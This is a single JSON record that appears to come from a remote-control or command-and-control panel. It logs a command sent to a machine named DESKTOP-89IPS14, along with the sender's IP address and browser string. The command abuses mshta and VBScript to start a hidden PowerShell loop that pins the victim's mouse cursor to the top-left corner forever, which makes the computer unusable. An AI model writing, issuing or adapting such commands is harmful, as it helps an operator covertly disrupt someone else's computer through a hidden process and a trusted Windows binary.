{"id":"37f87a78-3ac4-764c-98cd-d714f07c2374","cmdid":"20260428-210606","targets":["DESKTOP-89IPS14"],"created_at":"2026-04-28T21:04:25+08:00","commands":["RUN EXEC mshta vbscript:CreateObject(\"WScript.Shell\").Run(\"powershell -c \"\"Add-Type -AssemblyName System.Windows.Forms; while($true) { [System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(0,0); Start-Sleep -m 50 }\"\"\",0)(window.close)"],"token":"","hmac":"","meta":{"ip":"120.235.228.54","ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36"},"raw":"CMDID: 20260428-210606\nTARGET: DESKTOP-89IPS14\n\nRUN EXEC mshta vbscript:CreateObject(\"WScript.Shell\").Run(\"powershell -c \"\"Add-Type -AssemblyName System.Windows.Forms; while($true) { [System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(0,0); Start-Sleep -m 50 }\"\"\",0)(window.close)\n"}